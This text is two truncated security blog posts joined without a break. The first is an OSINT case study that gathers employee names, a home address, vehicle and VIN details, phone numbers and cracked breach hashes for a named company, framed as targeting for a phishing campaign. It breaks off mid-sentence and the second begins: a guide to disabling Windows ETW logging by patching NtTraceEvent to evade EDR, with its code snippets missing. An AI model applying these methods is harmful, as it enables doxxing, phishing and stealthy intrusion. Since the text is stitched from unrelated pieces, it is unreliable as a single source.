Introduction Open Source Intelligence (OSINT) is becoming increasingly popular due to its effectiveness in gathering information. The purpose of this blog is to explore the use of LinkedIn, Illicit Services, and Dehashed for OSINT purposes. This blog will also discuss ethical and legal considerations for using these techniques I. Identifying a Company for the Proof of Concept (POC) For the purpose of this blog, Ronin Innovations Group was chosen as the company to demonstrate the effectiveness of OSINT techniques. Ronin Innovations Group is a rapidly growing technology company that specializes in developing innovative solutions for various industries, including healthcare, finance, and telecommunications. The company has a global presence, with operations in multiple countries, and is known for its commitment to research and development to stay ahead of the competition. With its focus on cutting-edge technology and solutions, Ronin Innovations Group is an ideal target for OSINT investigations to gather information on key personnel, company strategies, and potential vulnerabilities. II. Gathering Information from LinkedIn A. Utilizing Search Filters and Advanced Techniques LinkedIn is an essential tool for gathering information about the employees of a company. Using LinkedIn search filters can help identify specific industries and job titles. Advanced search techniques can also be used to find relevant information. Results of LinkedIn Scraping To scrape employee data from LinkedIn, the LinkedInDumper tool was used. The program was able to identify over 1,000 active Ronin Innovations Group employees on LinkedIn. However, due to the limitations of the LinkedInDumper tool, it was only able to export 65 employee accounts. This was because LinkedIn restricts the number of search results to the first 1,000, and not all employee profiles may be public, making it difficult to extract the first name, last name, and profile URL of some employee accounts. The LinkedInDumper tool only displays public profiles, and those that are private or have default values such as “LinkedIn” as the first name and “Member” as the last name are not included. Additionally, some LinkedIn users may name their profile using various salutations, abbreviations, emojis, and middle names, which may be challenging to filter out. It is essential to note that the LinkedInDumper tool relies on an unofficial API called Voyager and is not using the official LinkedIn API, which may also contribute to limitations in data extraction. III. Exploring Illicit Services Illicit Services are services available on the dark web that can be used for gathering personal and sensitive information. These services are accessible for free and can include services such as password cracking and phone number reverse lookup. These services can be used to find leaked credentials and other sensitive information obtained through data breaches. A. Risks and Legal Implications Utilizing the service Illicit Services for OSINT purposes can expose an individual to legal and personal risks. The use of these services can violate various laws and regulations, including data privacy laws and intellectual property laws. It is crucial to consider the legal implications of accessing such services before using them for OSINT investigations. Furthermore, using these services can also result in personal risks, including the exposure of sensitive information or becoming a victim of cybercrime. It is important to exercise caution and use these services only for lawful and ethical purposes. B. Results of OSINT with Illicit Services By utilizing the Illicit-Services-Enum-Script, a custom script created by White Knight Labs, we were able to conduct the enumeration of accounts based on our search criteria, resulting in the initial identification of 40 accounts. However, through a meticulous manual examination of the gathered data, we were able to validate an additional 14 employee accounts that were still active at Ronin Innovations Group. These newly discovered accounts have been seamlessly integrated into the LinkedInDumper results, resulting in a total of 79 identified accounts that perfectly met the objectives of our OSINT research. During the OSINT investigation of Ronin Innovations Group, extensive personal information was uncovered on employee Haley. Her LinkedIn profile provided details on her employment, gender, location, inferred salary, and various social media usernames and contact information. Further research revealed additional information, including her attendance at the University of Toledo and her Twitter username. In addition, an online search uncovered Haley’s address and vehicle information, including the make, model, and VIN number. The investigation also yielded some information on employees Drew and Diana, including their contact information and employment details at Ronin Innovations Group. While utilizing Illicit Services for OSINT investigations can provide valuable data, it is crucial to consider the risks and legal implications associated with accessing such services. It is important to exercise caution and use these services only for lawful and ethical purposes. IV. Leveraging Dehashed for OSINT Investigations A. Introduction to Dehashed Dehashed is a paid data breach search engine that can be used to find leaked credentials and other sensitive information. For this investigation, a combination of two tools were used, specifically, the Dehashed Query and Crack and the dehashQuery tool. B. Benefits and Limitations Using Dehashed for OSINT investigations can provide valuable data, including leaked credentials and sensitive information. However, it is crucial to consider the accuracy and completeness of the information obtained. It is also important to note that Dehashed is a paid service and requires a subscription to access all features. C. Results of Dehashed Investigation The results obtained from Dehashed for the Ronin Innovations Group investigation included 14 cracked hashes and 20 uncracked hashes, but these were not relevant to the investigation as they were associated with ex-employees. However, Dehashed provided additional value by allowing us to reverse a phone number that was collected from Illicit Services for Diana. This helped us confirm the phone number’s match and current address. V. Combining Techniques and Analyzing the Gathered Information A. Applying Techniques to the Chosen Target To effectively gather information about potential targets for a phishing campaign, it is crucial to apply the techniques discussed in the blog. In this case, the chosen target is Ronin Innovations Group. The following information was obtained using OSINT techniques:
Bypassing ETW For Fun and Profit
EDR products have the option of using multiple sources to collect information on a Widows operating system. One of these log sources is ETW (Event Tracing for Windows). ETW consumers are now integrated into many EDR endpoint agents in order to receive CLR Runtime traces. As opposed to other mainstream threat detection and prevention products that hook commonly abused Windows API calls in userland, ATP has hooks that operate within the kernel. ATP relies heavily on ETW calls. Event Tracing for Windows (ETW) is an efficient kernel-level tracing facility that lets you log kernel or application-defined events to a log file. You can consume the events in real time or from a log file and use them to debug an application or to determine where performance issues are occurring in the application. 1 ETW vs AMSIThere is a common misconception that ETW is challenging to bypass in a process because it runs in kernel mode, juxtaposed to the AMSI.dll which runs in user mode. However, this is incorrect because the Microsoft .NET runtime provider sends logs in JSON format from the .NET runtime to any subscribers of that provider. A provider can be the Windows OS or any AV/EDR product that can consume the ETW JSON logs. This means that ETW can be bypassed in-process, just like the AMSI. ETW is not strings detection-based, if you’re using C# it’s gathering information like namespace names, class names, and method names. Renaming all of these in your code is a great first step for bypassing ETW. AMSI (Anti Malware Scan Interface) supports file and memory scanning for known malicious strings – it is built directly into Windows Defender. However, AMSI is agnostic of antimalware vendor, third party vendors can write their own AMSI provider to extend AMSI’s functionality as they see fit. A great example of creating a custom AMSI provider is the SimpleAMSI Provider project from pathtofile. CarbonBlack and SentinelOne both write their own custom AMSI providers. This creates challenges for the attacker when testing payloads locally due to not having that vendor’s custom AMSI.dll, unless you purchase that product. We’ll begin by opening up ntdll.dll in the disassembler and filtering the exports for ETW functions. The two most common functions that are called by Microsoft security products are EtwEventWrite and EtwEventWriteFull. Examining the EtwEventWrite API we see that EtwEventWriteFull is called, which in turn calls EtwpEventWriteFull: Recent research regarding ETW tampering involves patching the EtwEventWrite function by having it return before the function is called. Adam Chester of MDSEC goes over this method in this blog. Some common Github tools for patching ETW use this method to patch EtwEventWrite. From outflankl’s TamperETW project: From Flangvik’s NetLoader project : As we all know, offensive cyber is a game of cat and mouse. Companies that make EDR products and are now inspecting these commonly abused ETW functions for evidence of tampering within their address space. If script kiddies compile these projects without renaming functions or obfuscating the code, they will get caught immediately. Scrolling down within the disassembler we find a function named NtTraceEvent. Windows functions that begin with ‘Nt’ are functions that operate in userland but can call a function in the kernel. This type of function is known as a syscall. According to MSDN:The Windows native operating system services API is implemented as a set of routines that run in kernel mode. These routines have names that begin with the prefix Nt or Zw. Kernel-mode drivers can call these routines directly. User-mode applications can access these routines by using system calls. 2 Following the control flow of NtTraceEvent brings us to a syscall. Well, how about that. This function is the central switching point for writing an event through Event Tracing For Windows (ETW). Both the NtTraceEvent and ZwTraceEvent functions are exported by name from NTDLL. There, in user mode, the functions are aliases for a stub that transfers execution to the NtTraceEvent implementation in kernel mode such that the execution is recognised as originating in user mode. 3 Diagram of NtTraceEvent/zwTraceEvent transferring control to the kernel-version of NtTraceEvent: So technically we are not going to touch ETW, we will patch the syscall that ETW uses so that it loses the capability to write ETW events to the file system. We will do this by patching the NtTraceEvent function so that the syscall simply returns. The assembly code in the red box is never going to be called. We’ll start our PoC by finding the memory address of NtTraceEvent. We’ll use VirtualProtect 4 to change permissions on this segment in memory. If we set RWX permissions with VirtualProtect, that is usually an EDR trigger. However in this case, we’ll set RWX permissions and then return the permissions to RX. Then memcpy5 will be used to copy the opcode for a return into the buffer where NtTrace Event is located. We used the disassembler in order to find two pieces in the above code – the opcode for a return instruction (xc3), and the size of the memory region where NtTraceEvent resides. And the return: The assembly tells the story: we see the pointer being incremented by 3 to the NtTraceEvent memory region. Then there is a call to memcpy where a return instruction is copied into the region of memory holding NtTraceEvent. And the bottom of the assembler, VirtualProtect isused to return the permissions on the stack to RX. Immediately following the memcpy function in IDA reveals that the NtTraceEvent function is never called, it immediately returns. Remember the opcode for ret, xc3? As opposed to patching the high level ETW APIs like EtwEventWrite or EtwEventWriteFull, we shut down the syscall between user mode and kernel mode. Remember that EDRs are monitoring for tampering of commonly abused Windows APIs like those mentioned above. Obfuscation MethodThe other method for shutting ETW abilities is to obfuscate your .NET assembly. If you’re writing a .NET assembly, a common obfuscation technique is to use ConfuserEx. ConfuserEx does most of the leg work for